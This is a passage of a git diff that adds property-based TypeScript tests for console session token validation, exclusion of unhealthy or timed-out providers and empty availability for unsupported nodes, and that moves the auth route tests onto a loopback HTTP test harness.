tokens exist + await db.execute("DELETE FROM console_sessions"); + + const result = await sessionManager.validateToken(token, userId); + expect(result).toBeNull(); + }), + { numRuns: 100 }, + ); + }); + + it("token rejected when consumed (tokenConsumed !== 0)", async () => { + await fc.assert( + fc.asyncProperty(testSessionArb, async (params) => { + const consumedParams: TestSessionParams = { + ...params, + tokenAgeMs: Math.min(params.tokenAgeMs, 59000), // valid age + consumed: true, // consumed → should be rejected + }; + + await db.execute("DELETE FROM console_sessions"); + await insertSession(db, consumedParams); + + const result = await sessionManager.validateToken( + consumedParams.token, + consumedParams.ownerUserId, + ); + expect(result).toBeNull(); + }), + { numRuns: 100 }, + ); + }); + + it("token rejected when expired (created >= 60s ago)", async () => { + await fc.assert( + fc.asyncProperty(testSessionArb, async (params) => { + const expiredParams: TestSessionParams = { + ...params, + tokenAgeMs: Math.max(params.tokenAgeMs, 60000), // >=60s + consumed: false, + }; + + await db.execute("DELETE FROM console_sessions"); + await insertSession(db, expiredParams); + + const result = await sessionManager.validateToken( + expiredParams.token, + expiredParams.ownerUserId, + ); + expect(result).toBeNull(); + }), + { numRuns: 100 }, + ); + }); + + it("token rejected when connecting userId does not match session owner", async () => { + await fc.assert( + fc.asyncProperty( + testSessionArb, + userIdArb, + async (params, differentUserId) => { + // Ensure the connecting user is different from the owner + fc.pre(differentUserId !== params.ownerUserId); + + const validParams: TestSessionParams = { + ...params, + tokenAgeMs: Math.min(params.tokenAgeMs, 59000), // valid age + consumed: false, + }; + + await db.execute("DELETE FROM console_sessions"); + await insertSession(db, validParams); + + const result = await sessionManager.validateToken( + validParams.token, + differentUserId, + ); + expect(result).toBeNull(); + }, + ), + { numRuns: 100 }, + ); + }); + + it("token validation is a conjunction: ALL conditions must hold for acceptance", async () => { + await fc.assert( + fc.asyncProperty( + testSessionArb, + userIdArb, + fc.boolean(), + async (params, connectingUserId, useCorrectUser) => { + const connectAs = useCorrectUser + ? params.ownerUserId + : connectingUserId; + + // Skip when "different" user accidentally equals owner + if (!useCorrectUser) { + fc.pre(connectAs !== params.ownerUserId); + } + + await db.execute("DELETE FROM console_sessions"); + await insertSession(db, params); + + const result = await sessionManager.validateToken( + params.token, + connectAs, + ); + + const isValid = + params.tokenAgeMs < 60000 && + !params.consumed && + connectAs === params.ownerUserId; + + if (isValid) { + expect(result).not.toBeNull(); + expect(result!.sessionId).toBe(params.sessionId); + } else { + expect(result).toBeNull(); + } + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleUnhealthyProvider.property.test.ts b/backend/test/properties/consoleUnhealthyProvider.property.test.ts new file mode 100644 index 00000000..63232562 --- /dev/null +++ b/backend/test/properties/consoleUnhealthyProvider.property.test.ts @@ -0,0 +1,334 @@ +/** + * Property-Based Tests for Unhealthy Provider Exclusion + * + * Feature: console-integration, Property 15: Unhealthy provider exclusion + * + * **Validates: Requirements 10.1** + * + * Property 15: Unhealthy provider exclusion + * ∀ provider sets with random health states (healthy/throws): + * Only providers that return successfully from getConsoleCapabilities + * appear in the availability response. Providers that throw are excluded + * while healthy providers remain included. + */ + +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import * as fc from "fast-check"; + +import { IntegrationManager } from "../../src/integrations/IntegrationManager"; +import type { ConsolePlugin, ConsoleCapability, ConsoleSession, ConsoleSessionStatus, ConsoleTransport } from "../../src/integrations/console/types"; +import type { IntegrationConfig, HealthStatus } from "../../src/integrations/types"; +import type { LoggerService } from "../../src/services/LoggerService"; + +type ProviderHealthState = "healthy" | "throws" | "timeouts"; + +function makeLogger(): LoggerService { + return { + info: () => {}, + warn: () => {}, + error: () => {}, + debug: () => {}, + } as unknown as LoggerService; +} + +function makeMockConsolePlugin( + name: string, + healthState: ProviderHealthState, +): ConsolePlugin { + return { + name, + type: "information" as const, + + async initialize(_config: IntegrationConfig): Promise {}, + async healthCheck(): Promise { + return { healthy: healthState === "healthy", lastCheck: new Date().toISOString() }; + }, + getConfig(): IntegrationConfig { + return { enabled: true, name, type: "information", config: {} }; + }, + isInitialized(): boolean { + return true; + }, + + async getConsoleCapabilities(_nodeId: string): Promise { + if (healthState === "throws") { + throw new Error(`Provider '${name}' is unavailable`); + } + if (healthState === "timeouts") { + // Return a promise that never resolves (killed by the 3s timeout) + return new Promise(() => {}); + } + // Healthy: return capabilities + return [{ + transport: "websocket-vnc" as ConsoleTransport, + displayName: `${name} VNC Console`, + connectionSchema: {}, + }]; + }, + + async createSession(_nodeId: string, _userId: string): Promise { + return { + sessionId: "mock-session", + token: "mock-token", + wsUrl: "/ws/console/vnc", + transport: "websocket-vnc", + state: "active", + startedAt: new Date().toISOString(), + nodeId: "node-1", + userId: "user-1", + provider: name, + }; + }, + + async terminateSession(_sessionId: string): Promise { + return true; + }, + + async getSessionStatus(_sessionId: string): Promise { + return { state: "active", startedAt: new Date().toISOString() }; + }, + + getSupportedTransports(): ConsoleTransport[] { + return ["websocket-vnc"]; + }, + }; +} + +/** Arbitrary for a valid provider name (lowercase alpha, no duplicates handled externally) */ +const providerNameArb = fc.stringMatching(/^[a-z]{2,12}$/); + +/** Arbitrary for provider health state (throws only — timeouts tested separately) */ +const unhealthyStateArb = fc.constant("throws"); + +/** + * Arbitrary for a list of providers with random health states. + * Uses only "healthy" and "throws" to avoid real 3s waits per timeout provider. + */ +const providerListArb = fc + .array( + fc.tuple(providerNameArb, fc.constantFrom("healthy", "throws")), + { minLength: 1, maxLength: 6 }, + ) + .map((entries) => { + const seen = new Set(); + return entries.filter(([name]) => { + if (seen.has(name)) return false; + seen.add(name); + return true; + }); + }) + .filter((entries) => entries.length >= 1); + +describe("Feature: console-integration, Property 15: Unhealthy provider exclusion", () => { + beforeEach(() => { + vi.useFakeTimers(); + }); + + afterEach(() => { + vi.useRealTimers(); + }); + + it("only healthy providers appear in availability response; throwing providers are excluded", () => { + return fc.assert( + fc.asyncProperty( + providerListArb, + async (providers) => { + const manager = new IntegrationManager({ logger: makeLogger() }); + + for (const [name, healthState] of providers) { + const plugin = makeMockConsolePlugin(name, healthState); + manager.registerPlugin(plugin, { + enabled: true, + name, + type: "information", + config: {}, + }); + } + + const resultPromise = manager.getConsoleAvailability("test-node"); + // Advance timers to resolve any pending timeouts + await vi.advanceTimersByTimeAsync(0); + const result = await resultPromise; + + // Determine expected healthy providers + const healthyProviders = providers + .filter(([, state]) => state === "healthy") + .map(([name]) => name) + .sort(); + + // Result should contain exactly the healthy providers + const resultProviders = result.map((entry) => entry.provider).sort(); + expect(resultProviders).toEqual(healthyProviders); + + // Each entry from a healthy provider should have correct structure + for (const entry of result) { + expect(entry.provider).toBeTruthy(); + expect(entry.transport).toBe("websocket-vnc"); + expect(entry.displayName).toContain("VNC Console"); + } + }, + ), + { numRuns: 100 }, + ); + }); + + it("when all providers are unhealthy (throwing), availability returns empty array", () => { + return fc.assert( + fc.asyncProperty( + fc.array(providerNameArb, { minLength: 1, maxLength: 5 }) + .map((names) => [...new Set(names)]) + .filter((names) => names.length >= 1), + async (names) => { + const manager = new IntegrationManager({ logger: makeLogger() }); + + for (const name of names) { + const plugin = makeMockConsolePlugin(name, "throws"); + manager.registerPlugin(plugin, { + enabled: true, + name, + type: "information", + config: {}, + }); + } + + const resultPromise = manager.getConsoleAvailability("test-node"); + await vi.advanceTimersByTimeAsync(0); + const result = await resultPromise; + + expect(result).toEqual([]); + }, + ), + { numRuns: 100 }, + ); + }); + + it("when all providers are healthy, all appear in availability response", () => { + return fc.assert( + fc.asyncProperty( + fc.array(providerNameArb, { minLength: 1, maxLength: 6 }) + .map((names) => [...new Set(names)]) + .filter((names) => names.length >= 1), + async (names) => { + const manager = new IntegrationManager({ logger: makeLogger() }); + + for (const name of names) { + const plugin = makeMockConsolePlugin(name, "healthy"); + manager.registerPlugin(plugin, { + enabled: true, + name, + type: "information", + config: {}, + }); + } + + const resultPromise = manager.getConsoleAvailability("test-node"); + await vi.advanceTimersByTimeAsync(0); + const result = await resultPromise; + + const resultProviders = result.map((e) => e.provider).sort(); + const expectedProviders = [...names].sort(); + expect(resultProviders).toEqual(expectedProviders); + }, + ), + { numRuns: 100 }, + ); + }); + + it("healthy providers are included regardless of other providers' health states", () => { + return fc.assert( + fc.asyncProperty( + providerListArb.filter((providers) => { + const hasHealthy = providers.some(([, s]) => s === "healthy"); + const hasUnhealthy = providers.some(([, s]) => s !== "healthy"); + return hasHealthy && hasUnhealthy; + }), + async (providers) => { + const manager = new IntegrationManager({ logger: makeLogger() }); + + for (const [name, healthState] of providers) { + const plugin = makeMockConsolePlugin(name, healthState); + manager.registerPlugin(plugin, { + enabled: true, + name, + type: "information", + config: {}, + }); + } + + const resultPromise = manager.getConsoleAvailability("test-node"); + await vi.advanceTimersByTimeAsync(0); + const result = await resultPromise; + + const resultProviderSet = new Set(result.map((e) => e.provider)); + + // Every healthy provider must appear + for (const [name, state] of providers) { + if (state === "healthy") { + expect(resultProviderSet.has(name)).toBe(true); + } + } + + // No unhealthy provider should appear + for (const [name, state] of providers) { + if (state !== "healthy") { + expect(resultProviderSet.has(name)).toBe(false); + } + } + }, + ), + { numRuns: 100 }, + ); + }); + + it("timeout providers are excluded after the 3s deadline elapses", () => { + return fc.assert( + fc.asyncProperty( + fc.array(providerNameArb, { minLength: 1, maxLength: 3 }) + .map((names) => [...new Set(names)]) + .filter((names) => names.length >= 1), + async (names) => { + const manager = new IntegrationManager({ logger: makeLogger() }); + + // Register one healthy provider and all generated names as timeout providers + const healthyName = "healthyprovider"; + const healthyPlugin = makeMockConsolePlugin(healthyName, "healthy"); + manager.registerPlugin(healthyPlugin, { + enabled: true, + name: healthyName, + type: "information", + config: {}, + }); + + for (const name of names) { + // Skip if name collides with the healthy provider name + if (name === healthyName) continue; + const plugin = makeMockConsolePlugin(name, "timeouts"); + manager.registerPlugin(plugin, { + enabled: true, + name, + type: "information", + config: {}, + }); + } + + const resultPromise = manager.getConsoleAvailability("test-node"); + // Advance past the 3s timeout + await vi.advanceTimersByTimeAsync(3100); + const result = await resultPromise; + + // Only the healthy provider should appear + const resultProviderSet = new Set(result.map((e) => e.provider)); + expect(resultProviderSet.has(healthyName)).toBe(true); + + // Timeout providers should be excluded + for (const name of names) { + if (name !== healthyName) { + expect(resultProviderSet.has(name)).toBe(false); + } + } + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleUnsupportedNode.property.test.ts b/backend/test/properties/consoleUnsupportedNode.property.test.ts new file mode 100644 index 00000000..2bd07b54 --- /dev/null +++ b/backend/test/properties/consoleUnsupportedNode.property.test.ts @@ -0,0 +1,151 @@ +/** + * Property-Based Tests for Unsupported Node Empty Availability + * + * Feature: console-integration, Property 11: Unsupported node returns empty availability + * + * **Validates: Requirements 3.2** + * + * Property 11: Unsupported node returns empty availability + * ∀ nodeId ∈ arbitrary strings, providers ∈ [0..5]: + * When no registered provider supports console access for the given nodeId + * (all return empty capabilities), getConsoleAvailability returns []. + */ + +import { describe, it, expect } from "vitest"; +import * as fc from "fast-check"; + +import { IntegrationManager } from "../../src/integrations/IntegrationManager"; +import type { ConsolePlugin, ConsoleCapability, ConsoleSession, ConsoleSessionStatus, ConsoleTransport } from "../../src/integrations/console/types"; +import type { IntegrationConfig, HealthStatus } from "../../src/integrations/types"; +import type { LoggerService } from "../../src/services/LoggerService"; + +function makeLogger(): LoggerService { + return { + info: () => {}, + warn: () => {}, + error: () => {}, + debug: () => {}, + } as unknown as LoggerService; +} + +/** + * Create a mock ConsolePlugin that returns empty capabilities for any node. + * This simulates a provider that does not support the queried node. + */ +function makeUnsupportingProvider(name: string): ConsolePlugin { + return { + name, + type: "information" as const, + initialize: async () => {}, + healthCheck: async (): Promise => ({ + healthy: true, + message: "OK", + lastCheck: new Date().toISOString(), + }), + getConfig: (): IntegrationConfig => ({ + name, + enabled: true, + priority: 5, + }), + isInitialized: () => true, + getConsoleCapabilities: async (): Promise => [], + createSession: async (): Promise => { + throw new Error("No console capability for this node"); + }, + terminateSession: async (): Promise => false, + getSessionStatus: async (): Promise => ({ + state: "terminated", + startedAt: new Date().toISOString(), + }), + getSupportedTransports: (): ConsoleTransport[] => ["websocket-vnc"], + }; +} + +describe("Feature: console-integration, Property 11: Unsupported node returns empty availability", () => { + it("returns empty array when no providers are registered", () => { + return fc.assert( + fc.asyncProperty( + fc.string({ minLength: 1, maxLength: 100 }), + async (nodeId) => { + const manager = new IntegrationManager({ logger: makeLogger() }); + + const result = await manager.getConsoleAvailability(nodeId); + + expect(result).toEqual([]); + }, + ), + { numRuns: 100 }, + ); + }); + + it("returns empty array when all registered providers return empty capabilities", () => { + return fc.assert( + fc.asyncProperty( + fc.string({ minLength: 1, maxLength: 100 }), + fc.integer({ min: 1, max: 5 }), + async (nodeId, providerCount) => { + const manager = new IntegrationManager({ logger: makeLogger() }); + + // Register N providers that all return empty capabilities + for (let i = 0; i < providerCount; i++) { + const provider = makeUnsupportingProvider(`provider-${String(i)}`); + manager.registerPlugin(provider, { + name: `provider-${String(i)}`, + enabled: true, + priority: 5, + }); + } + + const result = await manager.getConsoleAvailability(nodeId); + + expect(result).toEqual([]); + }, + ), + { numRuns: 100 }, + ); + }); + + it("returns empty array for varied node ID formats when providers do not support them", () => { + return fc.assert( + fc.asyncProperty( + fc.oneof( + // UUID-like IDs + fc.uuid(), + // Numeric IDs + fc.integer({ min: 1, max: 99999 }).map(String), + // Prefixed IDs (proxmox-style) + fc.tuple( + fc.constantFrom("proxmox", "aws", "azure", "ssh", "bolt"), + fc.string({ minLength: 1, maxLength: 30 }).filter((s) => s.trim().length > 0), + ).map(([prefix, suffix]) => `${prefix}:${suffix}`), + // Hostname-style IDs + fc.tuple( + fc.string({ minLength: 1, maxLength: 20, unit: fc.constantFrom(..."abcdefghijklmnopqrstuvwxyz0123456789") }), + fc.constantFrom(".local", ".internal", ".example.com", ""), + ).map(([host, domain]) => `${host}${domain}`), + // Arbitrary non-empty strings + fc.string({ minLength: 1, maxLength: 200 }).filter((s) => s.trim().length > 0), + ), + fc.integer({ min: 1, max: 5 }), + async (nodeId, providerCount) => { + const manager = new IntegrationManager({ logger: makeLogger() }); + + for (let i = 0; i < providerCount; i++) { + const provider = makeUnsupportingProvider(`provider-${String(i)}`); + manager.registerPlugin(provider, { + name: `provider-${String(i)}`, + enabled: true, + priority: 5, + }); + } + + const result = await manager.getConsoleAvailability(nodeId); + + expect(result).toEqual([]); + expect(Array.isArray(result)).toBe(true); + }, + ), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/routes/auth.test.ts b/backend/test/routes/auth.test.ts index 53a6ec41..1511577a 100644 --- a/backend/test/routes/auth.test.ts +++ b/backend/test/routes/auth.test.ts @@ -1,10 +1,25 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, beforeAll, afterAll } from 'vitest'; import express, { Express } from 'express'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import { createAuthRouter } from '../../src/routes/auth'; import { DatabaseService } from '../../src/database/DatabaseService'; import { SetupService } from '../../src/services/SetupService'; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('Auth Routes - POST /api/auth/register', () => { let app: Express; let databaseService: DatabaseService; @@ -45,7 +60,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -73,7 +88,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -91,7 +106,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -108,7 +123,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -125,7 +140,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -144,7 +159,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -169,7 +184,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -194,7 +209,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -219,7 +234,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -237,7 +252,7 @@ describe('Auth Routes - POST /api/auth/register', () => { }; // Create first user - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -251,7 +266,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'Two', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(duplicateData) .expect(409); @@ -271,7 +286,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -296,7 +311,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -314,7 +329,7 @@ describe('Auth Routes - POST /api/auth/register', () => { }; // Create first user - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -328,7 +343,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'Two', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(duplicateData) .expect(409); @@ -348,7 +363,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -373,7 +388,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -398,7 +413,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -423,7 +438,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -448,7 +463,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -473,7 +488,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -492,7 +507,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -509,7 +524,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -525,7 +540,7 @@ describe('Auth Routes - POST /api/auth/register', () => { firstName: 'Test', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -542,7 +557,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -559,7 +574,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'a'.repeat(101), }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(400); @@ -570,7 +585,7 @@ describe('Auth Routes - POST /api/auth/register', () => { describe('Edge cases and error handling', () => { it('should reject request with missing body', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .expect(400); @@ -578,7 +593,7 @@ describe('Auth Routes - POST /api/auth/register', () => { }); it('should reject request with empty body', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send({}) .expect(400); @@ -597,7 +612,7 @@ describe('Auth Routes - POST /api/auth/register', () => { }; // Should still succeed but extra field should be ignored - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -631,7 +646,7 @@ describe('Auth Routes - POST /api/auth/register', () => { lastName: 'User', }; - const response = await request(tempApp) + const response = await request(harness.use(tempApp)) .post('/api/auth/register') .send(userData) .expect(500); @@ -682,7 +697,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -693,7 +708,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(200); @@ -731,7 +746,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -745,7 +760,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(200); @@ -769,7 +784,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -780,13 +795,13 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response1 = await request(app) + const response1 = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(200); // Login second time - const response2 = await request(app) + const response2 = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(200); @@ -804,7 +819,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(401); @@ -827,7 +842,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -838,7 +853,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'WrongPassword123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(401); @@ -857,7 +872,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -874,7 +889,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(401); @@ -885,13 +900,13 @@ describe('Auth Routes - POST /api/auth/login', () => { it('should use generic error message to prevent username enumeration', async () => { // Try to login with non-existent user - const response1 = await request(app) + const response1 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'nonexistent', password: 'Password123!' }) .expect(401); // Register a user - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send({ username: 'testuser', @@ -903,7 +918,7 @@ describe('Auth Routes - POST /api/auth/login', () => { .expect(201); // Try to login with wrong password - const response2 = await request(app) + const response2 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'WrongPassword!' }) .expect(401); @@ -920,7 +935,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(400); @@ -942,7 +957,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(400); @@ -955,7 +970,7 @@ describe('Auth Routes - POST /api/auth/login', () => { username: 'testuser', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(400); @@ -977,7 +992,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: '', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(400); @@ -986,7 +1001,7 @@ describe('Auth Routes - POST /api/auth/login', () => { }); it('should reject login with missing body', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .expect(400); @@ -994,7 +1009,7 @@ describe('Auth Routes - POST /api/auth/login', () => { }); it('should reject login with empty body', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send({}) .expect(400); @@ -1014,7 +1029,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -1025,7 +1040,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(200); @@ -1059,7 +1074,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -1070,7 +1085,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(200); @@ -1101,7 +1116,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -1112,7 +1127,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(401); @@ -1143,7 +1158,7 @@ describe('Auth Routes - POST /api/auth/login', () => { password: 'Password123!', }; - const response = await request(tempApp) + const response = await request(harness.use(tempApp)) .post('/api/auth/login') .send(loginData); @@ -1162,7 +1177,7 @@ describe('Auth Routes - POST /api/auth/login', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -1174,7 +1189,7 @@ describe('Auth Routes - POST /api/auth/login', () => { }; const requests = Array(5).fill(null).map(() => - request(app) + request(harness.use(app)) .post('/api/auth/login') .send(loginData) ); @@ -1240,12 +1255,12 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1253,7 +1268,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { const token = loginResponse.body.token; // Logout - const logoutResponse = await request(app) + const logoutResponse = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(200); @@ -1272,12 +1287,12 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1285,13 +1300,13 @@ describe('Auth Routes - POST /api/auth/logout', () => { const token = loginResponse.body.token; // Logout - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(200); // Try to logout again with the same token (should fail) - const secondLogoutResponse = await request(app) + const secondLogoutResponse = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(401); @@ -1310,12 +1325,12 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse1 = await request(app) + const loginResponse1 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1323,13 +1338,13 @@ describe('Auth Routes - POST /api/auth/logout', () => { const token1 = loginResponse1.body.token; // Logout - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token1}`) .expect(200); // Login again - const loginResponse2 = await request(app) + const loginResponse2 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); @@ -1338,7 +1353,7 @@ describe('Auth Routes - POST /api/auth/logout', () => { expect(loginResponse2.body.token).not.toBe(token1); // New token should work - const logoutResponse2 = await request(app) + const logoutResponse2 = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${loginResponse2.body.token}`) .expect(200); @@ -1356,18 +1371,18 @@ describe('Auth Routes - POST /api/auth/logout', () => { lastName: 'User', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); // Login twice to get two different tokens - const loginResponse1 = await request(app) + const loginResponse1 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'testuser', password: 'Password123!' }) .expect(200); - const 